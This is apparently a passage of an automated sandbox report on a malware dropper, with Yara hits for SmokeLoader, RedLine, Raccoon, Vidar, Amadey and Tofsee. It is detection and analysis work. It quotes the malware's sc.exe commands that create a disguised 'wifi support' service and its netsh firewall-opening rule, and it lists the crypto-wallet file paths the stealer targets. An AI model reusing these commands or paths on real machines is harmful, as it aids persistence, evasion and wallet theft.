Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2360000
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2488008

.NET source code references suspicious native API functions

Show sources

Source: FA5C.exe.5.dr, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: FA5C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 21.0.FA5C.exe.530000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 21.0.FA5C.exe.530000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 21.0.FA5C.exe.530000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 21.0.FA5C.exe.530000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 21.0.FA5C.exe.530000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 21.0.FA5C.exe.530000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 21.0.FA5C.exe.530000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 21.0.FA5C.exe.530000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 39.2.FA5C.exe.ab0000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 39.2.FA5C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 39.0.FA5C.exe.400000.12.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 39.0.FA5C.exe.ab0000.7.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 39.0.FA5C.exe.ab0000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 39.0.FA5C.exe.400000.4.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 39.0.FA5C.exe.ab0000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 39.0.FA5C.exe.ab0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Process created: C:\Users\user\Desktop\sbxGIUIhRd.exe "C:\Users\user\Desktop\sbxGIUIhRd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Process created: C:\Users\user\AppData\Roaming\adijaeg C:\Users\user\AppData\Roaming\adijaeg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Process created: C:\Users\user\AppData\Local\Temp\95C6.exe C:\Users\user\AppData\Local\Temp\95C6.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6760 -ip 6760	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 520	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\txlhcyih\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gaystiqf.exe" C:\Windows\SysWOW64\txlhcyih\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create txlhcyih binPath= "C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe /d\"C:\Users\user\AppData\Local\Temp\E2A6.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description txlhcyih "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start txlhcyih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process created: C:\Users\user\AppData\Local\Temp\FA5C.exe C:\Users\user\AppData\Local\Temp\FA5C.exe	Jump to behavior
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Code function: 19_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

19_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Code function: 19_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

19_2_00407809

Source: explorer.exe, 00000005.00000000.676184859.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.703934881.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.687023763.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000005.00000000.704364672.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.687403349.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.676325321.0000000001080000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000000.765387857.0000000000CD0000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000000.764420034.0000000000CD0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.708212604.0000000005E50000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.704364672.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.687403349.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.676325321.0000000001080000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000000.765387857.0000000000CD0000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000000.764420034.0000000000CD0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.704364672.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.687403349.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.676325321.0000000001080000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000000.765387857.0000000000CD0000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000000.764420034.0000000000CD0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.704364672.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.687403349.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.676325321.0000000001080000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000000.765387857.0000000000CD0000.00000002.00020000.sdmp, 8A6B.exe, 0000000C.00000000.764420034.0000000000CD0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.681077629.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.711046349.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.698401055.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: GetLocaleInfoA,	0_2_0043A8F0
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: GetLocaleInfoA,	12_2_00410857
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	18_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	18_2_0063B050

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FA5C.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FA5C.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

Code function: 0_2_00419EFB __vswprintf,_putc,__wrename,_atexit,_malloc,_realloc,_ferror,GetBinaryTypeA,SetCurrentDirectoryA,Process32NextW,InitializeCriticalSection,QueryDosDeviceW,AssignProcessToJobObject,GlobalAddAtomW,DeleteAtom,WriteProfileStringA,GetFullPathNameA,FindNextVolumeMountPointW,GetCompressedFileSizeA,SetNamedPipeHandleState,lstrcpynA,GetProcessVersion,GetConsoleAliasesLengthW,UnregisterWait,GetProcessHandleCount,CancelWaitableTimer,SetFileApisToANSI,CreateIoCompletionPort,FindClose,SetEndOfFile,GetCommMask,LocalLock,OpenMutexA,GetLastError,HeapFree,GetConsoleMode,WriteConsoleOutputCharacterA,GetModuleHandleW,GetConsoleMode,FreeEnvironmentStringsA,GetWriteWatch,GetConsoleAliasExesLengthW,_lopen,FileTimeToLocalFileTime,SetCommState,EnumDateFormatsA,TransactNamedPipe,WriteConsoleInputW,GetConsoleAliasExesLengthA,GetAtomNameW,FreeConsole,FlushConsoleInputBuffer,GetConsoleAliasA,SetConsoleCP,VerSetConditionMask,LockFile,SetSystemTime,SetThreadExecutionState,VerLanguageNameW,lstrcpyA,SetFileShortNameW,GetOverlappedResult,GetPrivateProfileSectionW,FreeEnvironmentStringsW,CreateSemaphoreA,GetLocalTime,EnumTimeFormatsW,FindResourceExW,GetPrivateProfileSectionNamesW,GetOverlappedResult,WaitNamedPipeA,TransmitCommChar,CreateSemaphoreW,GetBinaryTypeW,PeekConsoleInputW,BuildCommDCBW,UnregisterWaitEx,GlobalLock,GetOverlappedResult,GetProcAddress,MoveFileExW,GetThreadContext,ResetEvent,FindActCtxSectionStringA,_memset,SetDefaultCommConfigW,lstrcmpW,HeapUnlock,GetConsoleMode,GetVolumePathNameA,MoveFileW,Process32NextW,GetFileAttributesExA,GetDriveTypeA,TryEnterCriticalSection,GetPrivateProfileStructW,WritePrivateProfileSectionA,GetPrivateProfileSectionW,GetSystemTimeAdjustment,WriteConsoleW,EndUpdateResourceW,FindVolumeMountPointClose,DefineDosDeviceW,InterlockedExchange,SetMailslotInfo,GetTapeParameters,CreateActCtxW,FindCloseChangeNotification,GlobalFindAtomA,TerminateProcess,GetSystemWindowsDirectoryW,GetVersion,SetConsoleMode,ReadFileScatter,lstrcmpA,GetPrivateProfileSectionW,DebugBreak,DeleteVolumeMountPointA,

0_2_00419EFB

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Code function: 18_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

18_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Code function: 18_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

18_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Code function: 19_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

19_2_0040405E

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

0_2_00419EFB

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul

Modifies the windows firewall

Show sources

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 39.0.FA5C.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.FA5C.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.FA5C.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.FA5C.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.FA5C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.FA5C.exe.3a8f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.FA5C.exe.3a8f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.FA5C.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000002.933081162.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.824314083.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.824767570.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.823843288.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.833273258.0000000003971000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.825252840.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Amadeys stealer DLL

Show sources

Source: Yara match	File source: 00000030.00000002.933969192.0000000000650000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.871731514.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.859441391.00000000006B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.933631329.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.872732523.0000000000690000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.872637287.0000000000650000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 16.2.95C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sbxGIUIhRd.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sbxGIUIhRd.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.95C6.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.adijaeg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sbxGIUIhRd.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.sbxGIUIhRd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.sbxGIUIhRd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.95C6.exe.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.95C6.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.adijaeg.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.95C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.95C6.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.sbxGIUIhRd.exe.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.adijaeg.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.767064606.0000000000561000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719013921.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.921866016.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.706607181.0000000004DC1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.787707490.0000000002051000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719027443.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.787566424.0000000002030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.920736016.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.766964771.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000030.00000002.934394338.00000000007C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.934464446.000000000081C000.00000004.00000001.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 00000029.00000002.932916871.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.866964276.0000000004E90000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CFE8.exe PID: 4296, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 19.2.E2A6.exe.560e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.svchost.exe.2360000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.gaystiqf.exe.650000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.E2A6.exe.580000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.E2A6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.850000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.E2A6.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.630e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.svchost.exe.2360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.gaystiqf.exe.850000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000002.979557466.0000000002360000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.809196350.0000000000630000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.805779040.0000000000650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.808208197.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.803426452.0000000000560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.785124178.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.809631719.0000000000850000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E2A6.exe PID: 4752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gaystiqf.exe PID: 4588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5288, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: \Electrum\wallets\
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: \Electrum\wallets\
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: window-state.json
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: info.seco
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: ElectrumLTC
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: passphrase.json
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: \Ethereum\
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: file__0.localstorage
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: Ethereum
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: default_wallet
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: multidoge.wallet
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: seed.seco
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: keystore
Source: CFE8.exe, 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Source: Yara match	File source: 00000012.00000002.778871372.0000000000873000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CFE8.exe PID: 4296, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FA5C.exe PID: 1496, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 39.0.FA5C.exe.400000.6.unpack, type: UNPACKEDPE
